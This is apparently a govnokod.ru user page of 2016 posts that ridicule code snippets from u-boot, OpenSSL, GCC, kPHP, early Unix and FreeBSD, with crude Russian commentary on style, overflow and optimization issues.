          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
        };
        
        for(;;)
        {
          int A;
          switch( S )
          {
            case 0:
                    switch( T[*c] )
                    {
                      case 1:  { S=1; A=1; }; break;
                      default: { S=5; A=2; }; break;
                    }
                    break;
            case 1:
                    switch( T[*c] )
                    {
                      case 2:  { S=0; A=2; }; break;
                      case 1:  { S=1; A=3; }; break;
                      case 3:  { S=2;      }; break;
                      case 4:  { S=4; A=2; }; break;
                      case 0:  { S=5;      }; break;
                    }
                    break;
            case 2:
                    switch( T[*c] )
                    {
                      case 1:  { S=3; A=4; }; break;
                      default: { S=5;      }; break;
                    }
                    break;
            case 3:
                    switch( T[*c] )
                    {
                      case 2:  { S=0; A=5; }; break;
                      case 1:  { S=3; A=6; }; break;
                      case 4:  { S=4; A=5; }; break;
                      default: { S=5;      }; break;
                    }
                    break;
            case 4:
                    A = 7;
                    break;
            case 5:
                    A = 8;
                    break;
          }
          switch( A )
          {
            case 1: { l=*c-'0';      c++; }; break;
            case 2: { store(l,l);    c++; }; break;
            case 3: { l=l*10+*c-'0'; c++; }; break;
            case 4: { h=*c-'0';      c++; }; break;
            case 5: { store(l,h);    c++; }; break;
            case 6: { h=h*10+*c-'0'; c++; }; break;
            case 7: { exit();             }; break;
            case 8: { error();            }; break;
          }
        }

        http://z0mbie.daemonlab.org/automaton.txt отсюда

        Мне это напомнило вот эту вот ебанутейшую хуиту https://src.chromium.org/viewvc/native_client/trunk/src/native_client/src/trusted/validator_ragel/gen/validator_x86_64.c из хрома, которая делает валидацию опкодов из-под NaCl, его через какой-то ragel делают

        j123123, 22 Июня 2016

        Комментарии (15)
      10. Assembler / Говнокод #20234

        +70

        1. 1
        https://youtu.be/hB6eY73sLV0?t=241

        Исполнение произвольного кода(в данном случае Flappy Bird) в Super Mario World. Запись инструкций в память происходит посредством прыжков в нужных координатах.

        j123123, 20 Июня 2016

        Комментарии (7)
         
         
        1. Си / Говнокод #20200

          −47

          1. 01
          2. 02
          3. 03
          4. 04
          5. 05
          6. 06
          7. 07
          8. 08
          9. 09
          10. 10
          11. 11
          12. 12
          13. 13
          14. 14
          15. 15
          16. 16
          17. 17
          18. 18
          19. 19
          20. 20
          21. 21
          22. 22
          23. 23
          24. 24
          25. 25
          26. 26
          27. 27
          28. 28
          29. 29
          30. 30
          31. 31
          32. 32
          33. 33
          34. 34
          35. 35
          36. 36
          37. 37
          38. 38
          39. 39
          40. 40
          41. 41
          42. 42
          43. 43
          44. 44
          45. 45
          46. 46
          47. 47
          48. 48
          int hardinfo_updata( struct UPINFO * headinfo, struct HARDINFO * hardinfo )
          {
          	char sbuf[128] ;
          	int sn_len = 0 ;
          	char *psn ;
          	
          	printf("%s\n",__FUNCTION__  ) ;
          	memset( sbuf, 0xFF, 128 ) ;
          	if( strcmp( hardinfo->flag, "hardinfo") != 0 )
          	{
          		psn = (char *)hardinfo ;
          		sn_len = *psn ;
          		psn += 1;
          		memcpy( sbuf, psn , 127 ) ;
          	}
          	else
          	{
          		sn_len = hardinfo->sn_len ;
          		memcpy(sbuf, hardinfo->sn, 128 ) ;
          	}
          
          	memcpy( hardinfo, &(headinfo->hardinfo), sizeof( struct HARDINFO ) ) ;
          	hardinfo->sn_len = sn_len ;
          	if( hardinfo->sn_len > 128 ) hardinfo->sn_len = 128 ;
          	memcpy( hardinfo->sn, sbuf, hardinfo->sn_len ) ;
          	
          	memset( 0x30008000, 0xFF, 0x20000 ) ;
          	memcpy( 0x30008000, hardinfo, sizeof( struct HARDINFO ) ) ;
          	memset( sbuf, 0xFF, 128 ) ;
          	sprintf( sbuf, "%s %x %x\0", "nand erase 80000 80000 ;nand write 0x30008000", 0x80000, 0x20000) ;
          	run_command( sbuf,0);
          
          	memset( sbuf, 0, 128 ) ;
          	sprintf( sbuf, "%s %x\0", "nand read  0x31000000 80000 ", 0x20000 ) ;
          	run_command(sbuf, 0 ) ;
          
          	if( memcmp( 0x30008000, 0x31000000, sizeof( struct HARDINFO) ) != 0 )
          	{
          		printf("bootloader data crc error\n") ;
          		return 0 ;
          	}
          	else
          	{
          		printf("update hardinfo is ok\n") ;
          	}
          
          	return 1 ;
          }

          CRC через memcpy. Из пропатченного китайцами u-boot

          j123123, 15 Июня 2016

          Комментарии (65)
        2. Си / Говнокод #20170

          −49

          1. 01
          2. 02
          3. 03
          4. 04
          5. 05
          6. 06
          7. 07
          8. 08
          9. 09
          10. 10
          11. 11
          12. 12
          13. 13
          14. 14
          15. 15
          16. 16
          17. 17
          18. 18
          19. 19
          20. 20
          21. 21
          22. 22
          23. 23
          24. 24
          25. 25
          26. 26
          27. 27
          28. 28
          29. 29
          30. 30
          31. 31
          32. 32
          33. 33
          34. 34
          35. 35
          36. 36
          37. 37
          38. 38
          39. 39
          40. 40
          41. 41
          42. 42
          43. 43
          44. 44
          45. 45
          46. 46
          47. 47
          48. 48
          49. 49
          50. 50
          51. 51
          52. 52
          53. 53
          54. 54
          55. 55
          56. 56
          57. 57
          58. 58
          59. 59
          bool decode_hex(void *p, size_t max_len, const char *hexstr, size_t *out_len_)
          {
          static const unsigned char hexdigit_val[256] = {
                  ['0'] = 0,
                  ['1'] = 1,
                  ['2'] = 2,
                  ['3'] = 3,
                  ['4'] = 4,
                  ['5'] = 5,
                  ['6'] = 6,
                  ['7'] = 7,
                  ['8'] = 8,
                  ['9'] = 9,
                  ['a'] = 0xa,
                  ['b'] = 0xb,
                  ['c'] = 0xc,
                  ['d'] = 0xd,
                  ['e'] = 0xe,
                  ['f'] = 0xf,
                  ['A'] = 0xa,
                  ['B'] = 0xb,
                  ['C'] = 0xc,
                  ['D'] = 0xd,
                  ['E'] = 0xe,
                  ['F'] = 0xf,};
          
                  if (!p || !hexstr)
                          return false;
                  if (!strncmp(hexstr, "0x", 2))
                          hexstr += 2;
                  if (strlen(hexstr) > (max_len * 2))
                          return false;
          
                  unsigned char *buf = p;
                  size_t out_len = 0;
          
                  while (*hexstr) {
                          unsigned char c1 = (unsigned char) hexstr[0];
                          unsigned char c2 = (unsigned char) hexstr[1];
          
                          unsigned char v1 = hexdigit_val[c1];
                          unsigned char v2 = hexdigit_val[c2];
          
                          if (!v1 && (c1 != '0'))
                                  return false;
                          if (!v2 && (c2 != '0'))
                                  return false;
          
                          *buf = (v1 << 4) | v2;
          
                          out_len++;
                          buf++;
                          hexstr += 2;
                  }
          
                  if (out_len_)
                          *out_len_ = out_len;
                  return true;
          }

          https://gist.github.com/aido/9490244#file-der_test-L16 оптимизция!

          j123123, 09 Июня 2016

          Комментарии (48)
        3. Си / Говнокод #20141

          −49

          1. 01
          2. 02
          3. 03
          4. 04
          5. 05
          6. 06
          7. 07
          8. 08
          9. 09
          10. 10
          11. 11
          12. 12
          13. 13
          14. 14
          15. 15
          16. 16
          17. 17
          18. 18
          19. 19
          20. 20
          21. 21
          22. 22
          23. 23
          24. 24
          25. 25
          26. 26
          27. 27
          28. 28
          29. 29
          30. 30
          31. 31
          32. 32
          33. 33
          34. 34
          35. 35
          36. 36
          37. 37
          38. 38
          39. 39
          40. 40
          41. 41
          42. 42
          43. 43
          44. 44
          45. 45
          46. 46
          47. 47
          48. 48
          49. 49
          50. 50
          51. 51
          52. 52
          53. 53
          54. 54
          55. 55
          56. 56
          57. 57
          58. 58
          59. 59
          60. 60
          61. 61
          62. 62
          63. 63
          64. 64
          65. 65
          66. 66
          67. 67
          68. 68
          69. 69
          70. 70
          71. 71
          72. 72
          73. 73
          74. 74
          75. 75
          76. 76
          77. 77
          78. 78
          79. 79
          80. 80
          81. 81
          82. 82
          83. 83
          84. 84
          85. 85
          86. 86
          87. 87
          88. 88
          89. 89
          90. 90
          91. 91
          92. 92
          93. 93
          94. 94
          95. 95
          #include <stdio.h>
          #include <string.h>
          #include <stdlib.h>
          
          
          int digits(char **arr_ptr, void **func_ptr)
          {
          	char *a = *arr_ptr;
          	if (*a == '9')
          	{
          		if ( *(func_ptr-1) == NULL )
          		{
          			return 0;
          		}
          		else
          		{
          			*a = '0';
          			return ( *(int(*)(char **, void **)) *(func_ptr-1) )(arr_ptr-1,func_ptr-1);
          		}
          	}
          	(*a)++;
          	return 1;
          }
          
          int az_AZ(char **arr_ptr, void **func_ptr)
          {
          	char *a = *arr_ptr;
          	if (*a == 'z')
          	{
          		*a = 'A';
          		return 1;
          	}
          	if (*a == 'Z')
          	{
          		if ( *(func_ptr-1) == NULL )
          		{
          			return 0;
          		}
          		else
          		{
          			*a = 'a';
          			return ( *(int(*)(char **, void **)) *(func_ptr-1) )(arr_ptr-1,func_ptr-1);
          		}
          	}
          	(*a)++;
          	return 1;
          }
          
          
          int main(void)
          {
          	char a[] = "$#hui"; // $ - azAZ ; # - 1234567890
          	size_t len = strlen(a);
          
          	char **char_ptr_arr = malloc(sizeof(char *) * len);
          	char **char_ptr_arr_p = char_ptr_arr;
          
          	void **func_ptr = malloc(sizeof(void *) * (len+1));
          	func_ptr[0] = NULL;
          	void **func_ptr_p = func_ptr+1;
          
          
          	char *i = a;
          	while (*i != 0)
          	{
          		if (*i == '$')
          		{
          			*char_ptr_arr_p = i;
          			char_ptr_arr_p++;
          			*func_ptr_p = (void *)az_AZ;
          			func_ptr_p++;
          			*i = 'a';
          		}
          		else if (*i == '#')
          		{
          			*char_ptr_arr_p = i;
          			char_ptr_arr_p++;
          			*func_ptr_p = (void *)digits;
          			func_ptr_p++;
          			*i = '0';
          		}
          		i++;
          	}
          
          	printf("%s ", a);
          	while (( *(int(*)(char **, void **)) *(func_ptr_p-1) )(char_ptr_arr_p-1,func_ptr_p-1) != 0 )
          	{
          		printf("%s ", a);
          	}
          	printf("%s\n", a);
          	fflush(stdout);
          	free(char_ptr_arr);
          	free(func_ptr);
          	return 0;
          }

          Перебиралка всех кобенаций паролей по маске на сишке, где функции через стек из указателей на функции друг друга вызывают через воиды.

          http://govnokod.ru/20137#comment333406 отсюда:
          Надо конечно typedef всунуть для функции, но там жопа с рекурсивным определением функции X = (int()(char **, X **))
          По сути, надо чтобы функция в качестве аргумента принимала указатель того же типа, что и та сама функция, а такое рекурсивное определение типа в Си нельзя делать

          j123123, 06 Июня 2016

          Комментарии (17)
        4. Куча / Говнокод #20110

          −17

          1. 1
          2. 2
          3. 3
          (x) {
            if F(x,x) then { for(;;) }
          }

          http://www.michurin.net/computer-science/halting-problem.html
          Неразрешимость проблемы остановки имеет много доказательств. В терминах функций её очень просто доказать от противного.

          Допустим, у нас уже есть решение — функция F, которая принимает на вход некую функцию (вернее строку с текстом функции, байт-кодом или иной записью функции) и некие данные и отвечает на вопрос: «остановится ли функция-первый-аргумент, при работе с данными-вторым-аргументом, или будет работать вечно?»

          Давайте создадим функцию P(x), такого вида (на C-образном языке):

          P(x) {
          
            if F(x,x) then { for(;;) }
          
          }


          Строку, которая кодирует эту функцию обозначим p. Что будет, если мы вызовем функцию F(p,p)? Возможны два исхода:

          True, если P останавливается. Но при этом P(p) как раз не останавливается, если F(p,p)=True, то запускается бесконечный цикл.
          False, если P зависает. Но, как не трудно видеть, именно в этом случае P(p) не зависнет.

          Мы получили противоречие потому, что наша начальная посылка о существовании магической функции F была не правильной.

          Получается, что задача останова неразрешима. Вернее, нельзя написать программу, которая бы решала эту задачу. Иными словами, нельзя написать парсер программного кода, который бы мог оценить, зависнет разбираемый код или нет.

          В данном доказательстве на довольно глубинном уровне зарыто говно. Подробности в комментариях

          j123123, 01 Июня 2016

          Комментарии (123)
        5. JavaScript / Говнокод #20105

          +6

          1. 1
          2. 2
          3. 3
          4. 4
          > var x = new String("eval(x.toString())");
          undefined
          > eval(x.toString());
          RangeError: Maximum call stack size exceeded

          Yo dawg, I heard you like evaluation. So I put evaluation in your evaluation so you could evaluate while you evaluate
          Жаль что nodejs не осиливает заоптимизировать это как бесконечный цикл

          j123123, 31 Мая 2016

          Комментарии (20)
        6. C++ / Говнокод #20095

          0

          1. 01
          2. 02
          3. 03
          4. 04
          5. 05
          6. 06
          7. 07
          8. 08
          9. 09
          10. 10
          11. 11
          12. 12
          13. 13
          14. 14
          15. 15
          16. 16
          17. 17
          18. 18
          19. 19
          20. 20
          21. 21
          22. 22
          23. 23
          24. 24
          25. 25
          26. 26
          27. 27
          28. 28
          29. 29
          30. 30
          31. 31
          32. 32
          33. 33
          34. 34
          35. 35
          36. 36
          37. 37
          38. 38
          39. 39
          40. 40
          41. 41
          42. 42
          43. 43
          44. 44
          45. 45
          46. 46
          47. 47
          48. 48
          49. 49
          50. 50
          51. 51
          52. 52
          53. 53
          54. 54
          55. 55
          56. 56
          57. 57
          58. 58
          59. 59
          60. 60
          61. 61
          62. 62
          63. 63
          64. 64
          65. 65
          66. 66
          67. 67
          68. 68
          69. 69
          //...
                /* See if this is something like X * C - X or vice versa or
          	 if the multiplication is written as a shift.  If so, we can
          	 distribute and make a new multiply, shift, or maybe just
          	 have X (if C is 2 in the example above).  But don't make
          	 something more expensive than we had before.  */
          
                if (SCALAR_INT_MODE_P (mode))
          	{
          	  rtx lhs = op0, rhs = op1;
          
          	  wide_int coeff0 = wi::one (GET_MODE_PRECISION (mode));
          	  wide_int coeff1 = wi::one (GET_MODE_PRECISION (mode));
          
          	  if (GET_CODE (lhs) == NEG)
          	    {
          	      coeff0 = wi::minus_one (GET_MODE_PRECISION (mode));
          	      lhs = XEXP (lhs, 0);
          	    }
          	  else if (GET_CODE (lhs) == MULT
          		   && CONST_SCALAR_INT_P (XEXP (lhs, 1)))
          	    {
          	      coeff0 = std::make_pair (XEXP (lhs, 1), mode);
          	      lhs = XEXP (lhs, 0);
          	    }
          	  else if (GET_CODE (lhs) == ASHIFT
          		   && CONST_INT_P (XEXP (lhs, 1))
                             && INTVAL (XEXP (lhs, 1)) >= 0
          		   && INTVAL (XEXP (lhs, 1)) < GET_MODE_PRECISION (mode))
          	    {
          	      coeff0 = wi::set_bit_in_zero (INTVAL (XEXP (lhs, 1)),
          					    GET_MODE_PRECISION (mode));
          	      lhs = XEXP (lhs, 0);
          	    }
          
          	  if (GET_CODE (rhs) == NEG)
          	    {
          	      coeff1 = wi::minus_one (GET_MODE_PRECISION (mode));
          	      rhs = XEXP (rhs, 0);
          	    }
          	  else if (GET_CODE (rhs) == MULT
          		   && CONST_INT_P (XEXP (rhs, 1)))
          	    {
          	      coeff1 = std::make_pair (XEXP (rhs, 1), mode);
          	      rhs = XEXP (rhs, 0);
          	    }
          	  else if (GET_CODE (rhs) == ASHIFT
          		   && CONST_INT_P (XEXP (rhs, 1))
          		   && INTVAL (XEXP (rhs, 1)) >= 0
          		   && INTVAL (XEXP (rhs, 1)) < GET_MODE_PRECISION (mode))
          	    {
          	      coeff1 = wi::set_bit_in_zero (INTVAL (XEXP (rhs, 1)),
          					    GET_MODE_PRECISION (mode));
          	      rhs = XEXP (rhs, 0);
          	    }
          
          	  if (rtx_equal_p (lhs, rhs))
          	    {
          	      rtx orig = gen_rtx_PLUS (mode, op0, op1);
          	      rtx coeff;
          	      bool speed = optimize_function_for_speed_p (cfun);
          
          	      coeff = immed_wide_int_const (coeff0 + coeff1, mode);
          
          	      tem = simplify_gen_binary (MULT, mode, lhs, coeff);
          	      return (set_src_cost (tem, mode, speed)
          		      <= set_src_cost (orig, mode, speed) ? tem : 0);
          	    }
          	}

          https://gcc.gnu.org/viewcvs/gcc/trunk/gcc/simplify-rtx.c?view=markup&pathrev=232689#l2062 здоровенная такая функция из недр GCC, в которой делаются оптимизации, это сродни символьным вычислениям вообще говоря
          https://godbolt.org/g/vcEqe7 но похоже эта хрень работает плохо, не смогло оно выявить тождественность умножения сдвигами и обычного умножения, сведя операции к return 1 в случае функции test1. Но я естественно находил и примеры кода, которые GCC смог успешно "редуцировать" своим оптимизатором, а clang тупил. Говно тут в том, что вместо того, чтобы впилить нормальную систему символьных вычислений, там нагородили какого-то ебучего говна... Хотя может быть я чего-то не понимаю в компиляторах. Надо будет дракона почитать

          j123123, 30 Мая 2016

          Комментарии (66)
        7. Си / Говнокод #20090

          −48

          1. 01
          2. 02
          3. 03
          4. 04
          5. 05
          6. 06
          7. 07
          8. 08
          9. 09
          10. 10
          11. 11
          12. 12
          13. 13
          # define l2cn(l1,l2,c,n) { \
                                  c+=n; \
                                  switch (n) { \
                                  case 8: *(--(c))=(unsigned char)(((l2)>>24L)&0xff); \
                                  case 7: *(--(c))=(unsigned char)(((l2)>>16L)&0xff); \
                                  case 6: *(--(c))=(unsigned char)(((l2)>> 8L)&0xff); \
                                  case 5: *(--(c))=(unsigned char)(((l2)     )&0xff); \
                                  case 4: *(--(c))=(unsigned char)(((l1)>>24L)&0xff); \
                                  case 3: *(--(c))=(unsigned char)(((l1)>>16L)&0xff); \
                                  case 2: *(--(c))=(unsigned char)(((l1)>> 8L)&0xff); \
                                  case 1: *(--(c))=(unsigned char)(((l1)     )&0xff); \
                                          } \
                                  }

          https://github.com/openssl/openssl/blob/6218a1f57e7e25a6b9a798f00cf5f0e56a02ff31/crypto/des/des_locl.h#L151
          Интересно, на кой им делать там &0xff если оно в unsigned char скастовано и лишние биты там уже обрезаны? Или они там предполагают что unsigned char может быть не 8-битным? И вообще, это какая-то херня, почему б просто не узнать endian и не сделать memcpy предварительно развернув байты в случае необходимости? Другого макроговна там тоже хватает

          j123123, 28 Мая 2016

          Комментарии (24)
        8. Куча / Говнокод #20089

          0

          1. 1
          2. 2
          3. 3
          4. 4
          <div style="color: red; width: 100%; height:14pt; font-weight: bold;">STOP RUSSIAN AGGRESSION AGAINST 
          <span style="position: absolute; color: yellow; text-shadow: 1px 1px darkred;">
          <span style="position: absolute; height: 50%; color: blue; overflow: hidden;">UKRAINE!</span>UKRAINE!</span>
          </div>

          Какой хитрый дизайнерский ход! Это было обнаружено на http://vxheaven.org/
          пороюсь еще в исходниках вирусни которую там выкладывают, наверняка там много говна
          предлагаю добавить html в список допустимых языков на говнокоде

          j123123, 28 Мая 2016

          Комментарии (183)
        9. Куча / Говнокод #20044

          +6

          1. 1
          2. 2
          Что вообще за херня, почему для каждого язычка(рантайма) делают свой пакетный менеджер? pip, npm, cabal, Quicklisp, opam, nuget, NPMчо там еще?
          И притом все они считают что для языка %LanguageName% всенепременно надо писать пакетный менеджер на нем самом.

          Вот например когда я что-то устанавливл через pip, какая-то там херня требует openssl-devel. И узнаю я это только по ошибкам компиляции, ну т.е. там какая-то поебень криптографическая вызывается из питона, оно при установке компилирует через GCC некое говно которое инклудит какое-то .h говно от openssl, но поскольку этого .h нет, оно обламывается на этапе компиляции. Какого хера я про это должен узнавать только на этапе компиляции блядь? Какого хера я должен вручную разруливать эти говнозависимости? А если например будет программа на руби которая использует программу на лиспе, которая использует программу на хаскеле использующую программу на окамле, то что мне, всю эту поеботу тоже руками разруливать по цепочке?

          https://blog.versioneye.com/2014/01/15/which-programming-language-has-the-best-package-manager/

          какие-то уебни еще сравнивают, какой язык имеет лучший пакетный менеджер... Мудачье! Кто вам сказал что делать для каждого ёбаного языка свой пакетный менеждер это хорошая идея и что среди них может быть "лучший"? Они все говно по определению. Нужно или некое стандартное API для общения между разными пакетными менеджеры разных языков, или один единый пакетный менеджер для всего и под все ОС(а не только Gentoo).

          j123123, 19 Мая 2016

          Комментарии (76)
        10. JavaScript / Говнокод #20037

          +1

          1. 1
          http://pastebin.com/xww1EKP1

          http://map.vmr.gov.ua/scripts/__RasPil.js - было тут

          j123123, 18 Мая 2016

          Комментарии (4)
           
           
          1. Си / Говнокод #20003

            −47

            1. 1
            2. 2
            3. 3
            4. 4
            int cmpfunc (const void * a, const void * b)
            {
               return ( *(int*)a - *(int*)b );
            }

            в догонку к http://govnokod.ru/19968
            http://www.tutorialspoint.com/c_standard_library/c_function_qsort.htm
            Переполнение знаковых целых чисел - не, не слышал

            j123123, 14 Мая 2016

            Комментарии (46)
          2. JavaScript / Говнокод #19984

            +4

            1. 01
            2. 02
            3. 03
            4. 04
            5. 05
            6. 06
            7. 07
            8. 08
            9. 09
            10. 10
            11. 11
            12. 12
            13. 13
            $ nodejs
            > var buffer = new ArrayBuffer(2);
            undefined
            > var uint16View = new Uint16Array(buffer);
            undefined
            > var uint8View = new Uint8Array(buffer);
            undefined
            > uint16View[0]=0xff00
            65280
            > uint8View[1]
            255
            > uint8View[0]
            0

            https://developer.mozilla.org/en/docs/Web/JavaScript/Typed_arrays
            endianness - теперь и в жабаскрипте. Почти как union

            j123123, 11 Мая 2016

            Комментарии (15)
          3. Си / Говнокод #19968

            −47

            1. 1
            2. 2
            3. 3
            4. 4
            5. 5
            6. 6
            7. 7
            static inline int int_cmp(const void *a, const void *b) { 
            	const ut64 va = *(const ut64 *)a;
            	const ut64 vb = *(const ut64 *)b;
            	if (va > vb) return 1;
            	if (va < vb) return -1;
            	return 0;
            }

            j123123, 10 Мая 2016

            Комментарии (13)
          4. Си / Говнокод #19842

            −48

            1. 01
            2. 02
            3. 03
            4. 04
            5. 05
            6. 06
            7. 07
            8. 08
            9. 09
            10. 10
            11. 11
            12. 12
            13. 13
            14. 14
            15. 15
            16. 16
            17. 17
            18. 18
            19. 19
            20. 20
            21. 21
            22. 22
            23. 23
            24. 24
            25. 25
            26. 26
            27. 27
            28. 28
            29. 29
            30. 30
            31. 31
            32. 32
            33. 33
            34. 34
            35. 35
            36. 36
            37. 37
            38. 38
            // https://github.com/vk-com/kphp-kdb/blob/ce1ac4fbde2d3b546936ad07d6a748958f6d2198/net/net-http-server.c#L253
                        if (D->wlen == 3 && !memcmp (D->word, "GET", 3)) {
                          D->query_type = htqt_get;
                        } else if (D->wlen == 4) {
                          if (!memcmp (D->word, "HEAD", 4)) {
                            D->query_type = htqt_head;
                          } else if (!memcmp (D->word, "POST", 4)) {
                            D->query_type = htqt_post;
                          }
                        }
            //...
                        if (D->wlen != 0) {
                          /* HTTP/x.y */
                          if (D->wlen != 8) {
                            c->parse_state = htqp_skiptoeoln;
                            D->query_flags |= QF_ERROR;
                          } else {
                            if (!memcmp (D->word, "HTTP/1.0", 8)) {
                              D->http_ver = HTTP_V10;
                            } else if (!memcmp (D->word, "HTTP/1.1", 8)) {
                              D->http_ver = HTTP_V11;
                            } else {
                              c->parse_state = htqp_skiptoeoln;
                              D->query_flags |= QF_ERROR;
                            }
                          }
                        }
            ...
                      if (D->wlen == 4 && !strncasecmp (D->word, "host", 4)) {
                        D->query_flags |= QF_HOST;
                      } else if (D->wlen == 10 && !strncasecmp (D->word, "connection", 10)) {
                        D->query_flags |= QF_CONNECTION;
                      } else if (D->wlen == 14 && !strncasecmp (D->word, "content-length", 14)) {
                        D->query_flags |= QF_DATASIZE;
                      } else {
                        D->query_flags &= ~(QF_HOST | QF_DATASIZE | QF_CONNECTION);
                      }
            //...

            Великие олимпиадники-оптимизаторы, разработчики kPHP. Лучше сначала проверить длину строки, и только потом, если длина строки подходящая, проверять строку через strncasecmp (очень дорогостоящая операция)
            Об их мегагениальных оптимзациях я уже ранее писал: http://govnokod.ru/15406
            Но тут наверняка ж можно намного лучше заоптимизировать. Давайте подумаем, как можно улучшить сие творение истинных гениев

            j123123, 19 Апреля 2016

            Комментарии (49)
          5. Си / Говнокод #19760

            −47

            1. 01
            2. 02
            3. 03
            4. 04
            5. 05
            6. 06
            7. 07
            8. 08
            9. 09
            10. 10
            11. 11
            12. 12
            13. 13
            14. 14
            15. 15
            16. 16
            17. 17
            18. 18
            19. 19
            20. 20
            21. 21
            22. 22
            23. 23
            24. 24
            25. 25
            26. 26
            27. 27
            28. 28
            29. 29
            30. 30
            31. 31
            32. 32
            33. 33
            34. 34
            35. 35
            36. 36
            37. 37
            38. 38
            39. 39
            40. 40
            41. 41
            42. 42
            43. 43
            44. 44
            45. 45
            46. 46
            47. 47
            48. 48
            printf(fmt,x1,x2,x3,x4,x5,x6,x7,x8,x9)
            	char fmt[];
            	{
            	extern printn, putchar;
            	char s[];
            	auto adx[], x, c;
            
            	adx = &x1; /* argument pointer */
            loop:
            	while((c = *fmt++) != '%') {
            		if(c == '\0')
            			return;
            		putchar(c);
            	}
            	x = *adx++;
            	switch (c = *fmt++) {
            
            	case 'd': /* decimal */
            	case 'o': /* octal */
            		if(x < 0) {
            			x = -x;
            			if(x<0) {  	/* is - infinity */
            				if(c=='o')
            					printf("100000");
            				else
            					printf("-32768");
            				goto loop;
            			}
            			putchar('-');
            		}
            		printn(x, c=='o'?8:10);
            		goto loop;
            
            	case 'c': /* char */
            		putchar(x);
            		goto loop;
            
            	case 's': /* string */
            		s = x;
            		while(c = *s++)
            			putchar(c);
            		goto loop;
            	}
            	putchar('%');
            	fmt--;
            	adx--;
            	goto loop;
            }

            from http://minnie.tuhs.org/cgi-bin/utree.pl?file=V2/lib/printf.c

            j123123, 06 Апреля 2016

            Комментарии (32)
          6. Куча / Говнокод #19677

            −1

            1. 01
            2. 02
            3. 03
            4. 04
            5. 05
            6. 06
            7. 07
            8. 08
            9. 09
            10. 10
            11. 11
            12. 12
            13. 13
            14. 14
            15. 15
            16. 16
            17. 17
            18. 18
            19. 19
            20. 20
            21. 21
            (* basic power axiom
            safe_comp_power x y =
                case
                    (x = 0) and (y <> 0) -> 1
                    (x = 1) -> x
                    ((x <> 0) and (y >= 0)) or ((x = 0) and (y > 0)) -> x * (safe_comp_power x (y - 1))
            *)
            
            logic safe_comp_pow : int, int -> int
            
            axiom safe_comp_pow_int_A_1 : forall x : int. (x <> 0) -> safe_comp_pow(x, 0) = 1
            
            axiom safe_comp_pow_int_A_2 : forall x : int. safe_comp_pow(x, 1) = x
            
            axiom safe_comp_pow_int_A_3 : forall x,y : int. ((x <> 0) and (y >= 0)) or ((x = 0) and (y > 0)) -> safe_comp_pow(x, y) = x*(safe_comp_pow(x,y-1))
            
            
            goal g_1 :
              forall a,n : int.
              a <> 0 -> n >= 0 ->
              safe_comp_pow(a,n+1) = safe_comp_pow(a,n)*a

            Язык для SMT солвера alt-ergo https://alt-ergo.ocamlpro.com/try.php . Аксиомы для возведения в степень. Возводить в отрицательную степень нельзя. Ноль в степени ноль - нельзя. Логика первого порядка. Должна быть справедлива для целых. Правда в одной аксиоме я допустил баг. Я его уже нашел. Можете тоже попробовать найти его

            j123123, 22 Марта 2016

            Комментарии (19)
          7. Си / Говнокод #19625

            −48

            1. 01
            2. 02
            3. 03
            4. 04
            5. 05
            6. 06
            7. 07
            8. 08
            9. 09
            10. 10
            11. 11
            12. 12
            uint8_t n1[][2] = {{1,2}, {3,4}, {5,6}, {99,88}};
                uint8_t n2[][2] = {{7,8}, {9,10}, {11,12}, {99,88}};
                uint8_t n3[][2] = {{13,14}, {15,16}, {17,18}, {99,88}};
                
                // Надо сделать массив из указателей на двумерные массивы    
                uint8_t (*ars[3])[2] = { n1, n2, n3}; // полная херня, нечитаемо
                
                typeof( typeof(uint8_t [2]) *) ars2[3] = {n1, n2, n3}; // можно так
                
                typeof( typeof(uint8_t [2]) *[3]) ars3 = {n1, n2, n3}; // можно еще так
                
                typeof(uint8_t (*)[2]) ars4[3] = {n1, n2, n3}; // во, теперь заебись!

            Почему в Си так по-дебильному надо объявлять всякие массивы указателей на двумерные массивы и тому подобную херню? Через typeof получается куда понятней

            j123123, 14 Марта 2016

            Комментарии (65)
          8. Си / Говнокод #19491

            −48

            1. 01
            2. 02
            3. 03
            4. 04
            5. 05
            6. 06
            7. 07
            8. 08
            9. 09
            10. 10
            11. 11
            12. 12
            13. 13
            14. 14
            15. 15
            16. 16
            17. 17
            18. 18
            19. 19
            20. 20
            21. 21
            22. 22
            23. 23
            24. 24
            25. 25
            26. 26
            27. 27
            28. 28
            29. 29
            30. 30
            31. 31
            32. 32
            33. 33
            34. 34
            35. 35
            36. 36
            37. 37
            38. 38
            39. 39
            40. 40
            41. 41
            42. 42
            43. 43
            44. 44
            45. 45
            46. 46
            47. 47
            48. 48
            49. 49
            50. 50
            51. 51
            /*
             * mfi_tbolt_adp_reset - For controller reset
             * @regs: MFI register set
             */
            int
            mfi_tbolt_adp_reset(struct mfi_softc *sc)
            {
            	int retry = 0, i = 0;
            	int HostDiag;
            
            	MFI_WRITE4(sc, MFI_WSR, 0xF);
            	MFI_WRITE4(sc, MFI_WSR, 4);
            	MFI_WRITE4(sc, MFI_WSR, 0xB);
            	MFI_WRITE4(sc, MFI_WSR, 2);
            	MFI_WRITE4(sc, MFI_WSR, 7);
            	MFI_WRITE4(sc, MFI_WSR, 0xD);
            
            	for (i = 0; i < 10000; i++) ;
            
            	HostDiag = (uint32_t)MFI_READ4(sc, MFI_HDR);
            
            	while (!( HostDiag & DIAG_WRITE_ENABLE)) {
            		for (i = 0; i < 1000; i++);
            		HostDiag = (uint32_t)MFI_READ4(sc, MFI_HDR);
            		device_printf(sc->mfi_dev, "ADP_RESET_TBOLT: retry time=%x, "
            		    "hostdiag=%x\n", retry, HostDiag);
            
            		if (retry++ >= 100)
            			return 1;
            	}
            
            	device_printf(sc->mfi_dev, "ADP_RESET_TBOLT: HostDiag=%x\n", HostDiag);
            
            	MFI_WRITE4(sc, MFI_HDR, (HostDiag | DIAG_RESET_ADAPTER));
            
            	for (i=0; i < 10; i++) {
            		for (i = 0; i < 10000; i++); // <--- двойной говнокод.
            	}
            
            	HostDiag = (uint32_t)MFI_READ4(sc, MFI_RSR);
            	while (HostDiag & DIAG_RESET_ADAPTER) {
            		for (i = 0; i < 1000; i++) ;
            		HostDiag = (uint32_t)MFI_READ4(sc, MFI_RSR);
            		device_printf(sc->mfi_dev, "ADP_RESET_TBOLT: retry time=%x, "
            		    "hostdiag=%x\n", retry, HostDiag);
            
            		if (retry++ >= 1000)
            			return 1;
            	}
            	return 0;
            }

            https://svnweb.freebsd.org/base/head/sys/dev/mfi/mfi_tbolt.c?view=markup&pathrev=235016#l 145
